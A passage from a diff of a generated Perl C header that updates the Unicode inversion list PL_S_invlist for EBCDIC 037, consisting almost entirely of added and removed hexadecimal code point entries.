0x1CF, + 0x1D0, + 0x1D1, + 0x1D2, + 0x1D3, + 0x1D4, + 0x1D5, + 0x1D6, + 0x1D7, + 0x1D8, + 0x1D9, + 0x1DA, + 0x1DB, + 0x1DC, + 0x1DE, + 0x1DF, + 0x1E0, + 0x1E1, + 0x1E2, + 0x1E3, + 0x1E4, + 0x1E5, + 0x1E6, + 0x1E7, + 0x1E8, + 0x1E9, + 0x1EA, + 0x1EB, + 0x1EC, + 0x1ED, + 0x1EE, + 0x1EF, + 0x1F1, + 0x1F3, + 0x1F4, + 0x1F5, + 0x1F6, + 0x1F9, + 0x1FA, + 0x1FB, + 0x1FC, + 0x1FD, + 0x1FE, + 0x1FF, + 0x200, + 0x201, + 0x202, + 0x203, + 0x204, + 0x205, + 0x206, + 0x207, + 0x208, + 0x209, + 0x20A, + 0x20B, + 0x20C, + 0x20D, + 0x20E, + 0x20F, + 0x210, + 0x211, + 0x212, + 0x213, + 0x214, + 0x215, + 0x216, + 0x217, + 0x218, + 0x219, + 0x21A, + 0x21B, + 0x21C, + 0x21D, + 0x21E, + 0x21F, + 0x220, + 0x221, + 0x222, + 0x223, + 0x224, + 0x225, + 0x226, + 0x227, + 0x228, + 0x229, + 0x22A, + 0x22B, + 0x22C, + 0x22D, + 0x22E, + 0x22F, + 0x230, + 0x231, + 0x232, + 0x233, + 0x23A, + 0x23C, + 0x23D, + 0x23F, + 0x241, + 0x242, + 0x243, + 0x247, + 0x248, + 0x249, + 0x24A, + 0x24B, + 0x24C, + 0x24D, + 0x24E, + 0x24F, + 0x294, + 0x295, + 0x2B9, + 0x2C0, 0x2C2, 0x2C6, 0x2D2, @@ -328110,112 +12756,1300 @@ static const UV PL_S_invlist[] = { /* for EBCDIC 037 */ 0x2EE, 0x2EF, 0x300, + 0x370, + 0x371, + 0x372, + 0x373, + 0x374, 0x375, 0x376, - 0x384, + 0x377, + 0x378, + 0x37A, + 0x37E, + 0x37F, + 0x380, 0x386, + 0x387, + 0x388, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x390, + 0x391, + 0x3A2, + 0x3A3, + 0x3AC, + 0x3CF, + 0x3D0, + 0x3D2, + 0x3D5, + 0x3D8, + 0x3D9, + 0x3DA, + 0x3DB, + 0x3DC, + 0x3DD, + 0x3DE, + 0x3DF, + 0x3E0, + 0x3E1, + 0x3E2, + 0x3E3, + 0x3E4, + 0x3E5, + 0x3E6, + 0x3E7, + 0x3E8, + 0x3E9, + 0x3EA, + 0x3EB, + 0x3EC, + 0x3ED, + 0x3EE, + 0x3EF, + 0x3F4, + 0x3F5, 0x3F6, 0x3F7, + 0x3F8, + 0x3F9, + 0x3FB, + 0x3FD, + 0x430, + 0x460, + 0x461, + 0x462, + 0x463, + 0x464, + 0x465, + 0x466, + 0x467, + 0x468, + 0x469, + 0x46A, + 0x46B, + 0x46C, + 0x46D, + 0x46E, + 0x46F, + 0x470, + 0x471, + 0x472, + 0x473, + 0x474, + 0x475, + 0x476, + 0x477, + 0x478, + 0x479, + 0x47A, + 0x47B, + 0x47C, + 0x47D, + 0x47E, + 0x47F, + 0x480, + 0x481, 0x482, 0x483, - 0x58D, - 0x590, + 0x48A, + 0x48B, + 0x48C, + 0x48D, + 0x48E, + 0x48F, + 0x490, + 0x491, + 0x492, + 0x493, + 0x494, + 0x495, + 0x496, + 0x497, + 0x498, + 0x499, + 0x49A, + 0x49B, + 0x49C, + 0x49D, + 0x49E, + 0x49F, + 0x4A0, + 0x4A1, + 0x4A2, + 0x4A3, + 0x4A4, + 0x4A5, + 0x4A6, + 0x4A7, + 0x4A8, + 0x4A9, + 0x4AA, + 0x4AB, + 0x4AC, + 0x4AD, + 0x4AE, + 0x4AF, + 0x4B0, + 0x4B1, + 0x4B2, + 0x4B3, + 0x4B4, + 0x4B5, + 0x4B6, + 0x4B7, + 0x4B8, + 0x4B9, + 0x4BA, + 0x4BB, + 0x4BC, + 0x4BD, + 0x4BE, + 0x4BF, + 0x4C0, + 0x4C2, + 0x4C3, + 0x4C4, + 0x4C5, + 0x4C6, + 0x4C7, + 0x4C8, + 0x4C9, + 0x4CA, + 0x4CB, + 0x4CC, + 0x4CD, + 0x4CE, + 0x4D0, + 0x4D1, + 0x4D2, + 0x4D3, + 0x4D4, + 0x4D5, + 0x4D6, + 0x4D7, + 0x4D8, + 0x4D9, + 0x4DA, + 0x4DB, + 0x4DC, + 0x4DD, + 0x4DE, + 0x4DF, + 0x4E0, + 0x4E1, + 0x4E2, + 0x4E3, + 0x4E4, + 0x4E5, + 0x4E6, + 0x4E7, + 0x4E8, + 0x4E9, + 0x4EA, + 0x4EB, + 0x4EC, + 0x4ED, + 0x4EE, + 0x4EF, + 0x4F0, + 0x4F1, + 0x4F2, + 0x4F3, + 0x4F4, + 0x4F5, + 0x4F6, + 0x4F7, + 0x4F8, + 0x4F9, + 0x4FA, + 0x4FB, + 0x4FC, + 0x4FD, + 0x4FE, + 0x4FF, + 0x500, + 0x501, + 0x502, + 0x503, + 0x504, + 0x505, + 0x506, + 0x507, + 0x508, + 0x509, + 0x50A, + 0x50B, + 0x50C, + 0x50D, + 0x50E, + 0x50F, + 0x510, + 0x511, + 0x512, + 0x513, + 0x514, + 0x515, + 0x516, + 0x517, + 0x518, + 0x519, + 0x51A, + 0x51B, + 0x51C, + 0x51D, + 0x51E, + 0x51F, + 0x520, + 0x521, + 0x522, + 0x523, + 0x524, + 0x525, + 0x526, + 0x527, + 0x528, + 0x529, + 0x52A, + 0x52B, + 0x52C, + 0x52D, + 0x52E, + 0x52F, + 0x530, + 0x531, + 0x557, + 0x559, + 0x55A, + 0x55D, + 0x55E, + 0x561, + 0x588, + 0x589, + 0x58A, + 0x591, + 0x5BE, + 0x5BF, + 0x5C0, + 0x5C1, + 0x5C3, + 0x5C4, + 0x5C6, + 0x5C7, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F4, + 0x600, 0x606, - 0x609, - 0x60B, 0x60C, 0x60E, 0x610, + 0x61B, + 0x61C, + 0x61D, + 0x61F, + 0x620, + 0x64B, + 0x660, + 0x66A, + 0x66B, + 0x66D, + 0x66E, + 0x670, + 0x671, + 0x6D4, + 0x6D5, + 0x6D6, + 0x6DD, 0x6DE, 0x6DF, + 0x6E5, + 0x6E7, 0x6E9, 0x6EA, + 0x6EE, + 0x6F0, + 0x6FA, 0x6FD, 0x6FF, + 0x700, + 0x703, + 0x70F, + 0x710, + 0x711, + 0x712, + 0x730, + 0x74B, + 0x74D, + 0x7A6, + 0x7B1, + 0x7B2, + 0x7C0, + 0x7CA, + 0x7EB, + 0x7F4, 0x7F6, - 0x7F7, + 0x7F8, + 0x7F9, + 0x7FA, + 0x7FB, + 0x800, + 0x816, + 0x81A, + 0x81B, + 0x824, + 0x825, + 0x828, + 0x829, + 0x82E, + 0x840, + 0x859, + 0x85C, + 0x8A0, + 0x8B5, + 0x8B6, + 0x8BE, + 0x8D4, + 0x8E2, + 0x8E3, + 0x904, + 0x93A, + 0x93D, + 0x93E, + 0x950, + 0x951, + 0x958, + 0x962, + 0x964, + 0x966, + 0x970, + 0x971, + 0x981, + 0x984, + 0x985, + 0x98D, + 0x98F, + 0x991, + 0x993, + 0x9A9, + 0x9AA, + 0x9B1, + 0x9B2, + 0x9B3, + 0x9B6, + 0x9BA, + 0x9BC, + 0x9BD, + 0x9BE, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CE, + 0x9CF, + 0x9D7, + 0x9D8, + 0x9DC, + 0x9DE, + 0x9DF, + 0x9E2, + 0x9E4, + 0x9E6, + 0x9F0, 0x9F2, - 0x9F4, - 0x9FA, - 0x9FC, - 0xAF1, - 0xAF2, + 0xA01, + 0xA04, + 0xA05, + 0xA0B, + 0xA0F, + 0xA11, + 0xA13, + 0xA29, + 0xA2A, + 0xA31, + 0xA32, + 0xA34, + 0xA35, + 0xA37, + 0xA38, + 0xA3A, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, + 0xA59, + 0xA5D, + 0xA5E, + 0xA5F, + 0xA66, + 0xA70, + 0xA72, + 0xA75, + 0xA76, + 0xA81, + 0xA84, + 0xA85, + 0xA8E, + 0xA8F, + 0xA92, + 0xA93, + 0xAA9, + 0xAAA, + 0xAB1, + 0xAB2, + 0xAB4, + 0xAB5, + 0xABA, + 0xABC, + 0xABD, + 0xABE, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACE, + 0xAD0, + 0xAD1, + 0xAE0, + 0xAE2, + 0xAE4, + 0xAE6, + 0xAF0, + 0xAF9, + 0xAFA, + 0xB01, + 0xB04, + 0xB05, + 0xB0D, + 0xB0F, + 0xB11, + 0xB13, + 0xB29, + 0xB2A, + 0xB31, + 0xB32, + 0xB34, + 0xB35, + 0xB3A, + 0xB3C, + 0xB3D, + 0xB3E, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4E, + 0xB56, + 0xB58, + 0xB5C, + 0xB5E, + 0xB5F, + 0xB62, + 0xB64, + 0xB66, 0xB70, 0xB71, - 0xBF3, - 0xBFB, - 0xC7F, + 0xB72, + 0xB82, + 0xB83, + 0xB84, + 0xB85, + 0xB8B, + 0xB8E, + 0xB91, + 0xB92, + 0xB96, + 0xB99, + 0xB9B, + 0xB9C, + 0xB9D, + 0xB9E, + 0xBA0, + 0xBA3, + 0xBA5, + 0xBA8, + 0xBAB, + 0xBAE, + 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCE, + 0xBD0, + 0xBD1, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBF0, + 0xC00, + 0xC04, + 0xC05, + 0xC0D, + 0xC0E, + 0xC11, + 0xC12, + 0xC29, + 0xC2A, + 0xC3A, + 0xC3D, + 0xC3E, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, + 0xC58, + 0xC5B, + 0xC60, + 0xC62, + 0xC64, + 0xC66, + 0xC70, 0xC80, + 0xC81, + 0xC84, + 0xC85, + 0xC8D, + 0xC8E, + 0xC91, + 0xC92, + 0xCA9, + 0xCAA, + 0xCB4, + 0xCB5, + 0xCBA, + 0xCBC, + 0xCBD, + 0xCBE, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCE, + 0xCD5, + 0xCD7, + 0xCDE, + 0xCDF, + 0xCE0, + 0xCE2, + 0xCE4, + 0xCE6, + 0xCF0, + 0xCF1, + 0xCF3, + 0xD01, + 0xD04, + 0xD05, + 0xD0D, + 0xD0E, + 0xD11, + 0xD12, + 0xD3B, + 0xD3D, + 0xD3E, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD4E, 0xD4F, - 0xD50, - 0xD79, + 0xD54, + 0xD57, + 0xD58, + 0xD5F, + 0xD62, + 0xD64, + 0xD66, + 0xD70, 0xD7A, - 0xE3F, + 0xD80, + 0xD82, + 0xD84, + 0xD85, + 0xD97, + 0xD9A, + 0xDB2, + 0xDB3, + 0xDBC, + 0xDBD, + 0xDBE, + 0xDC0, + 0xDC7, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF4, + 0xE01, + 0xE31, + 0xE32, + 0xE34, + 0xE3B, 0xE40, + 0xE47, + 0xE4F, + 0xE50, + 0xE5A, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, + 0xEB1, + 0xEB2, + 0xEB4, + 0xEBA, + 0xEBB, + 0xEBD, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, + 0xEC8, + 0xECE, + 0xED0, + 0xEDA, + 0xEDC, + 0xEE0, + 0xF00, 0xF01, - 0xF04, - 0xF13, - 0xF14, - 0xF15, 0xF18, 0xF1A, 0xF20, - 0xF34, + 0xF2A, 0xF35, 0xF36, 0xF37, 0xF38, 0xF39, - 0xFBE, + 0xF3A, + 0xF3E, + 0xF40, + 0xF48, + 0xF49, + 0xF6D, + 0xF71, + 0xF85, + 0xF86, + 0xF88, + 0xF8D, + 0xF98, + 0xF99, + 0xFBD, 0xFC6, 0xFC7, - 0xFCD, - 0xFCE, - 0xFD0, - 0xFD5, - 0xFD9, + 0x1000, + 0x102B, + 0x103F, + 0x1040, + 0x104A, + 0x104C, + 0x1050, + 0x1056, + 0x105A, + 0x105E, + 0x1061, + 0x1062, + 0x1065, + 0x1067, + 0x106E, + 0x1071, + 0x1075, + 0x1082, + 0x108E, + 0x108F, + 0x1090, + 0x109A, 0x109E, 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x10D0, + 0x10FB, + 0x10FC, + 0x1249, + 0x124A, + 0x124E, + 0x1250, + 0x1257, + 0x1258, + 0x1259, + 0x125A, + 0x125E, + 0x1260, + 0x1289, + 0x128A, + 0x128E, + 0x1290, + 0x12B1, + 0x12B2, + 0x12B6, + 0x12B8, + 0x12BF, + 0x12C0, + 0x12C1, + 0x12C2, + 0x12C6, + 0x12C8, + 0x12D7, + 0x12D8, + 0x1311, + 0x1312, + 0x1316, + 0x1318, + 0x135B, + 0x135D, + 0x1360, + 0x1362, + 0x1363, + 0x1367, + 0x1369, + 0x1380, 0x1390, - 0x139A, - 0x17DB, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, + 0x1401, + 0x166D, + 0x166E, + 0x166F, + 0x1680, + 0x1681, + 0x169B, + 0x169D, + 0x16A0, + 0x16EB, + 0x16EE, + 0x16F9, + 0x1700, + 0x170D, + 0x170E, + 0x1712, + 0x1715, + 0x1720, + 0x1732, + 0x1735, + 0x1737, + 0x1740, + 0x1752, + 0x1754, + 0x1760, + 0x176D, + 0x176E, + 0x1771, + 0x1772, + 0x1774, + 0x1780, + 0x17B4, + 0x17D4, + 0x17D7, + 0x17D8, 0x17DC, - 0x1940, - 0x1941, - 0x19DE, + 0x17DD, + 0x17DE, + 0x17E0, + 0x17EA, + 0x1802, + 0x1803, + 0x1804, + 0x1808, + 0x1809, + 0x180A, + 0x180B, + 0x180E, + 0x180F, + 0x1810, + 0x181A, + 0x1820, + 0x1878, + 0x1880, + 0x1885, + 0x1887, + 0x18A9, + 0x18AA, + 0x18AB, + 0x18B0, + 0x18F6, + 0x1900, + 0x191F, + 0x1920, + 0x192C, + 0x1930, + 0x193C, + 0x1944, + 0x1946, + 0x1950, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, + 0x19D0, + 0x19DA, 0x1A00, - 0x1B61, + 0x1A17, + 0x1A1C, + 0x1A20, + 0x1A55, + 0x1A5F, + 0x1A60, + 0x1A7D, + 0x1A7F, + 0x1A80, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AA7, + 0x1AA8, + 0x1AAC, + 0x1AB0, + 0x1ABF, + 0x1B00, + 0x1B05, + 0x1B34, + 0x1B45, + 0x1B4C, + 0x1B50, + 0x1B5A, + 0x1B5C, + 0x1B5E, + 0x1B60, 0x1B6B, 0x1B74, - 0x1B7D, + 0x1B80, + 0x1B83, + 0x1BA1, + 0x1BAE, + 0x1BB0, + 0x1BBA, + 0x1BE6, + 0x1BF4, + 0x1C00, + 0x1C24, + 0x1C38, + 0x1C3B, + 0x1C3D, + 0x1C40, + 0x1C4A, + 0x1C4D, + 0x1C50, + 0x1C5A, + 0x1C7E, + 0x1C80, + 0x1C89, + 0x1CD0, + 0x1CD3, + 0x1CD4, + 0x1CE9, + 0x1CED, + 0x1CEE, + 0x1CF2, + 0x1CF5, + 0x1CF7, + 0x1CF8, + 0x1CFA, + 0x1D00, + 0x1DC0, + 0x1DF6, + 0x1DFB, + 0x1E00, + 0x1E01, + 0x1E02, + 0x1E03, + 0x1E04, + 0x1E05, + 0x1E06, + 0x1E07, + 0x1E08, + 0x1E09, + 0x1E0A, + 0x1E0B, + 0x1E0C, + 0x1E0D, + 0x1E0E, + 0x1E0F, + 0x1E10, + 0x1E11, + 0x1E12, + 0x1E13, + 0x1E14, + 0x1E15, + 0x1E16, + 0x1E17, + 0x1E18, + 0x1E19, + 0x1E1A, + 0x1E1B, + 0x1E1C, + 0x1E1D, + 0x1E1E, + 0x1E1F, + 0x1E20, + 0x1E21, + 0x1E22, + 0x1E23, + 0x1E24, + 0x1E25, + 0x1E26, + 0x1E27, + 0x1E28, + 0x1E29, + 0x1E2A, + 0x1E2B, + 0x1E2C, + 0x1E2D, + 0x1E2E, + 0x1E2F, + 0x1E30, + 0x1E31, + 0x1E32, + 0x1E33, + 0x1E34, + 0x1E35, + 0x1E36, + 0x1E37, + 0x1E38, + 0x1E39, + 0x1E3A, + 0x1E3B, + 0x1E3C, + 0x1E3D, + 0x1E3E, + 0x1E3F, + 0x1E40, + 0x1E41, + 0x1E42, + 0x1E43, + 0x1E44, + 0x1E45, + 0x1E46, + 0x1E47, + 0x1E48, + 0x1E49, + 0x1E4A, + 0x1E4B, + 0x1E4C, + 0x1E4D, + 0x1E4E, + 0x1E4F, + 0x1E50, + 0x1E51, + 0x1E52, + 0x1E53, + 0x1E54, + 0x1E55, + 0x1E56, + 0x1E57, + 0x1E58, + 0x1E59, + 0x1E5A, + 0x1E5B, + 0x1E5C, + 0x1E5D, + 0x1E5E, + 0x1E5F, + 0x1E60, + 0x1E61, + 0x1E62, + 0x1E63, + 0x1E64, + 0x1E65, + 0x1E66, + 0x1E67, + 0x1E68, + 0x1E69, + 0x1E6A, + 0x1E6B, + 0x1E6C, + 0x1E6D, + 0x1E6E, + 0x1E6F, + 0x1E70, + 0x1E71, + 0x1E72, + 0x1E73, + 0x1E74, + 0x1E75, + 0x1E76, + 0x1E77, + 0x1E78, + 0x1E79, + 0x1E7A, + 0x1E7B, + 0x1E7C, + 0x1E7D, + 0x1E7E, + 0x1E7F, + 0x1E80, + 0x1E81, + 0x1E82, + 0x1E83, + 0x1E84, + 0x1E85, + 0x1E86, + 0x1E87, + 0x1E88, + 0x1E89, + 0x1E8A, + 0x1E8B, + 0x1E8C, + 0x1E8D, + 0x1E8E, + 0x1E8F, + 0x1E90, + 0x1E91, + 0x1E92, + 0x1E93, + 0x1E94, + 0x1E95, + 0x1E9E, + 0x1E9F, + 0x1EA0, + 0x1EA1, + 0x1EA2, + 0x1EA3, + 0x1EA4, + 0x1EA5, + 0x1EA6, + 0x1EA7, + 0x1EA8, + 0x1EA9, + 0x1EAA, + 0x1EAB, + 0x1EAC, + 0x1EAD, + 0x1EAE, + 0x1EAF, + 0x1EB0, + 0x1EB1, + 0x1EB2, + 0x1EB3, + 0x1EB4, + 0x1EB5, + 0x1EB6, + 0x1EB7, + 0x1EB8, + 0x1EB9, + 0x1EBA, + 0x1EBB, + 0x1EBC, + 0x1EBD, + 0x1EBE, + 0x1EBF, + 0x1EC0, + 0x1EC1, + 0x1EC2, + 0x1EC3, + 0x1EC4, + 0x1EC5, + 0x1EC6, + 0x1EC7, + 0x1EC8, + 0x1EC9, + 0x1ECA, + 0x1ECB, + 0x1ECC, + 0x1ECD, + 0x1ECE, + 0x1ECF, + 0x1ED0, + 0x1ED1, + 0x1ED2, + 0x1ED3, + 0x1ED4, + 0x1ED5, + 0x1ED6, + 0x1ED7, + 0x1ED8, + 0x1ED9, + 0x1EDA, + 0x1EDB, + 0x1EDC, + 0x1EDD, + 0x1EDE, + 0x1EDF, + 0x1EE0, + 0x1EE1, + 0x1EE2, + 0x1EE3, + 0x1EE4, + 0x1EE5, + 0x1EE6, + 0x1EE7, + 0x1EE8, + 0x1EE9, + 0x1EEA, + 0x1EEB, + 0x1EEC, + 0x1EED, + 0x1EEE, + 0x1EEF, + 0x1EF0, + 0x1EF1, + 0x1EF2, + 0x1EF3, + 0x1EF4, + 0x1EF5, + 0x1EF6, + 0x1EF7, + 0x1EF8, + 0x1EF9, + 0x1EFA, + 0x1EFB, + 0x1EFC, + 0x1EFD, + 0x1EFE, + 0x1EFF, + 0x1F08, + 0x1F10, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, + 0x1F28, + 0x1F30, + 0x1F38, + 0x1F40, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F60, + 0x1F68, + 0x1F70, + 0x1F7E, + 0x1F80, + 0x1F88, + 0x1F90, + 0x1F98, + 0x1FA0, + 0x1FA8, + 0x1FB0, + 0x1FB5, + 0x1FB6, + 0x1FB8, 0x1FBD, 0x1FBE, 0x1FBF, 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FC8, 0x1FCD, 0x1FD0, - 0x1FDD, + 0x1FD4, + 0x1FD6, + 0x1FD8, + 0x1FDC, 0x1FE0, + 0x1FE8, 0x1FED, - 0x1FF0, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FF8, 0x1FFD, - 0x1FFF, - 0x2044, + 0x2000, + 0x200B, + 0x200C, + 0x200E, + 0x2010, + 0x2013, + 0x2015, + 0x2018, + 0x2020, + 0x2024, + 0x2025, + 0x2028, + 0x202A, + 0x202F, + 0x2030, + 0x2039, + 0x203B, + 0x203C, + 0x203E, 0x2045, - 0x2052, - 0x2053, - 0x207A, + 0x2047, + 0x204A, + 0x205F, + 0x2060, + 0x2065, + 0x2066, + 0x2070, + 0x2071, + 0x2072, 0x207D, - 0x208A, + 0x207F, + 0x2080, 0x208D, - 0x20A0, - 0x20C0, - 0x2100, + 0x208F, + 0x2090, + 0x209D, + 0x20D0, + 0x20F1, 0x2102, 0x2103, 0x2107, 0x2108, 0x210A, + 0x210B, + 0x210E, + 0x2110, + 0x2113, 0x2114, 0x2115, 0x2116, @@ -328230,29 +14064,37 @@ static const UV PL_S_invlist[] = { /* for EBCDIC 037 */ 0x212A, 0x212E, 0x212F, + 0x2130, + 0x2134, + 0x2135, + 0x2139, 0x213A, 0x213C, + 0x213E, 0x2140, 0x2145, + 0x2146, 0x214A, 0x214E, 0x214F, - 0x2150, - 0x218A, - 0x218C, - 0x2190, + 0x2160, + 0x2170, + 0x2180, + 0x2183, + 0x2184, + 0x2185, + 0x2189, 0x2308, 0x230C, 0x2329, 0x232B, - 0x2427, - 0x2440, - 0x244B, - 0x249C, + 0x24B6, + 0x24D0, 0x24EA, - 0x2500, + 0x275B, + 0x2761, 0x2768, - 0x2794, + 0x2776, 0x27C5, 0x27C7, 0x27E6, @@ -328263,173 +14105,1141 @@ static const UV PL_S_invlist[] = { /* for EBCDIC 037 */ 0x29DC, 0x29FC, 0x29FE, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, + 0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, + 0x2C61, + 0x2C62, + 0x2C65, + 0x2C67, + 0x2C68, + 0x2C69, + 0x2C6A, + 0x2C6B, + 0x2C6C, + 0x2C6D, + 0x2C71, + 0x2C72, + 0x2C73, + 0x2C75, + 0x2C76, + 0x2C7E, + 0x2C81, + 0x2C82, + 0x2C83, + 0x2C84, + 0x2C85, + 0x2C86, + 0x2C87, + 0x2C88, + 0x2C89, + 0x2C8A, + 0x2C8B, + 0x2C8C, + 0x2C8D, + 0x2C8E, + 0x2C8F, + 0x2C90, + 0x2C91, + 0x2C92, + 0x2C93, + 0x2C94, + 0x2C95, + 0x2C96, + 0x2C97, + 0x2C98, + 0x2C99, + 0x2C9A, + 0x2C9B, + 0x2C9C, + 0x2C9D, + 0x2C9E, + 0x2C9F, + 0x2CA0, + 0x2CA1, + 0x2CA2, + 0x2CA3, + 0x2CA4, + 0x2CA5, + 0x2CA6, + 0x2CA7, + 0x2CA8, + 0x2CA9, + 0x2CAA, + 0x2CAB, + 0x2CAC, + 0x2CAD, + 0x2CAE, + 0x2CAF, + 0x2CB0, + 0x2CB1, + 0x2CB2, + 0x2CB3, + 0x2CB4, + 0x2CB5, + 0x2CB6, + 0x2CB7, + 0x2CB8, + 0x2CB9, + 0x2CBA, + 0x2CBB, + 0x2CBC, + 0x2CBD, + 0x2CBE, + 0x2CBF, + 0x2CC0, + 0x2CC1, + 0x2CC2, + 0x2CC3, + 0x2CC4, + 0x2CC5, + 0x2CC6, + 0x2CC7, + 0x2CC8, + 0x2CC9, + 0x2CCA, + 0x2CCB, + 0x2CCC, + 0x2CCD, + 0x2CCE, + 0x2CCF, + 0x2CD0, + 0x2CD1, + 0x2CD2, + 0x2CD3, + 0x2CD4, + 0x2CD5, + 0x2CD6, + 0x2CD7, + 0x2CD8, + 0x2CD9, + 0x2CDA, + 0x2CDB, + 0x2CDC, + 0x2CDD, + 0x2CDE, + 0x2CDF, + 0x2CE0, + 0x2CE1, + 0x2CE2, + 0x2CE3, 0x2CE5, 0x2CEB, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3004, + 0x2CEC, + 0x2CED, + 0x2CEE, + 0x2CEF, + 0x2CF2, + 0x2CF3, + 0x2CF4, + 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0x2D30, + 0x2D68, + 0x2D6F, + 0x2D70, + 0x2D7F, + 0x2D80, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, + 0x2DE0, + 0x2E00, + 0x2E0E, + 0x2E1C, + 0x2E1E, + 0x2E20, + 0x2E2A, + 0x2E2E, + 0x2E2F, + 0x2E30, + 0x2E3C, + 0x2E3D, + 0x2E42, + 0x2E43, + 0x3000, + 0x3001, + 0x3002, + 0x3003, 0x3005, + 0x3008, 0x3012, 0x3014, + 0x301C, + 0x301D, 0x3020, 0x3021, + 0x302A, + 0x3030, + 0x3031, 0x3036, 0x3038, - 0x303E, - 0x3040, + 0x303D, + 0x3041, + 0x3097, + 0x3099, 0x309B, 0x309D, - 0x3190, - 0x3192, - 0x3196, + 0x30A0, + 0x30A1, + 0x30FB, + 0x30FC, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, 0x31A0, - 0x31C0, - 0x31E4, + 0x31BB, + 0x31F0, 0x3200, - 0x321F, - 0x322A, - 0x3248, - 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, - 0x32FF, - 0x3300, 0x3400, - 0x4DC0, + 0x4DB6, 0x4E00, - 0xA490, - 0xA4C7, - 0xA700, + 0x9FD6, + 0xA000, + 0xA48D, + 0xA4D0, + 0xA4FE, + 0xA4FF, + 0xA500, + 0xA60D, + 0xA60E, + 0xA610, + 0xA620, + 0xA62A, + 0xA62C, + 0xA640, + 0xA641, + 0xA642, + 0xA643, + 0xA644, + 0xA645, + 0xA646, + 0xA647, + 0xA648, + 0xA649, + 0xA64A, + 0xA64B, + 0xA64C, + 0xA64D, + 0xA64E, + 0xA64F, + 0xA650, + 0xA651, + 0xA652, + 0xA653, + 0xA654, + 0xA655, + 0xA656, + 0xA657, + 0xA658, + 0xA659, + 0xA65A, + 0xA65B, + 0xA65C, + 0xA65D, + 0xA65E, + 0xA65F, + 0xA660, + 0xA661, + 0xA662, + 0xA663, + 0xA664, + 0xA665, + 0xA666, + 0xA667, + 0xA668, + 0xA669, + 0xA66A, + 0xA66B, + 0xA66C, + 0xA66D, + 0xA66E, + 0xA66F, + 0xA673, + 0xA674, + 0xA67E, + 0xA67F, + 0xA680, + 0xA681, + 0xA682, + 0xA683, + 0xA684, + 0xA685, + 0xA686, + 0xA687, + 0xA688, + 0xA689, + 0xA68A, + 0xA68B, + 0xA68C, + 0xA68D, + 0xA68E, + 0xA68F, + 0xA690, + 0xA691, + 0xA692, + 0xA693, + 0xA694, + 0xA695, + 0xA696, + 0xA697, + 0xA698, + 0xA699, + 0xA69A, + 0xA69B, + 0xA69E, + 0xA6A0, + 0xA6F0, + 0xA6F2, + 0xA6F3, + 0xA6F4, + 0xA6F7, + 0xA6F8, 0xA717, 0xA720, 0xA722, + 0xA723, + 0xA724, + 0xA725, + 0xA726, + 0xA727, + 0xA728, + 0xA729, + 0xA72A, + 0xA72B, + 0xA72C, + 0xA72D, + 0xA72E, + 0xA72F, + 0xA732, + 0xA733, + 0xA734, + 0xA735, + 0xA736, + 0xA737, + 0xA738, + 0xA739, + 0xA73A, + 0xA73B, + 0xA73C, + 0xA73D, + 0xA73E, + 0xA73F, + 0xA740, + 0xA741, + 0xA742, + 0xA743, + 0xA744, + 0xA745, + 0xA746, + 0xA747, + 0xA748, + 0xA749, + 0xA74A, + 0xA74B, + 0xA74C, + 0xA74D, + 0xA74E, + 0xA74F, + 0xA750, + 0xA751, + 0xA752, + 0xA753, + 0xA754, + 0xA755, + 0xA756, + 0xA757, + 0xA758, + 0xA759, + 0xA75A, + 0xA75B, + 0xA75C, + 0xA75D, + 0xA75E, + 0xA75F, + 0xA760, + 0xA761, + 0xA762, + 0xA763, + 0xA764, + 0xA765, + 0xA766, + 0xA767, + 0xA768, + 